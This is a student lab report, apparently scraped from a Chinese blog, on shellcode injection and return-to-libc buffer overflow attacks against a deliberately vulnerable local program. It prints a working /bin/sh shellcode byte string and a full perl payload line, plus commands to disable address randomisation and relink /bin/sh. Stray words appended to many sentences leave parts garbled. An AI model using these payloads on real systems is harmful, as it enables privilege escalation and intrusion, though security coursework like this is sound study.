20145314鄭凱傑《網絡對抗技術》可選實驗 shellcode注入與Return-to-libc攻擊實驗

20145314鄭凱傑《網絡對抗技術》可選實驗 shellcode注入與Return-to-libc攻擊實驗

1.0 實踐內容

Return-to-libc攻擊是一種特殊的緩衝區溢出攻擊,一般用於攻擊有「棧不可執行」保護措施的目標系統。本實驗中咱們放棄了讓漏洞程序執行堆棧中的shellcode,將用system()地址替換返回地址,用它調用一個root shelllinux

1.1 shellcode注入實驗

實驗以前須要安裝execstack.shell

設置堆棧可執行,並關閉地址隨機化。windows

shellcode的獲取是直接根據許心遠同窗的博客bash

獲得shellcode以下網絡

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 接下來正式進入實驗:

構造注入的payload,格式爲dom

nop(即\x90)+shellcode+返回地址。

對返回地址進行猜想,嘗試找到shellcode的地址:spa

打開一個新的終端,首先查看pid:發現pid爲18533d

用gdb調試:調試

ret一行即爲結束地址,從上圖中,讀出結束地址爲0x080484aecode

返回原來的終端:(回車要在設置斷點後進行,gdb執行c前按下,不然沒法確認進程號)

接下來設置斷點,並尋找注入的buf的地址:

而後咱們發現,先前輸入的01020304出如今了這裏,這裏就是返回地址。

01020304的位置就是返回地址的位置,即0xffffd33c

得到shellcode的地址後,再次返回先前的終端,先用exit命令退出該步驟,隨後修改input_shellcoded的值爲

perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

而後在該窗口中,從新運行

(cat input_shellcode ; cat )| ./pwn5314

成功

2.0 Return-to-libc 攻擊實驗

首先須要建立環境

輸入以下指令,建立32位C語言可編譯的環境

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386

完成安裝

輸入命令

linux32

進入32位linux操做環境

使用

/bin/bash

進入bash

接下來關閉地址隨機化

sudo sysctl -w kernel.randomize_va_space=0

爲了防止shell攻擊,若被攻擊,則程序被調用時會自動棄權,用zkj來代替它:

這裏用到的命令爲:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

在tmp文件夾下編輯「retlib.c」文件,並編譯設置SET-UID

我在windows下編譯完成後複製進tmp文件夾,所以替代了文件

進行編譯,

提權後退出。

建立文件「」getenvaddr.c」文件用於讀取環境變量,並編譯

在tmp文件夾下準備「exploit.c」文件用於攻擊

並對其進行編譯

編譯exploit再運行gdb,對其進行調試

接下來獲取system地址

經過上述獲取的地址,修改入exploit.c文件,並刪除以前生成的exploit和badfile文件,再次編譯,

編譯的方法是:將先前獲得的地址等填入exploit的相應位置

最後編譯運行retlib

攻擊成功

相關文章
相關標籤/搜索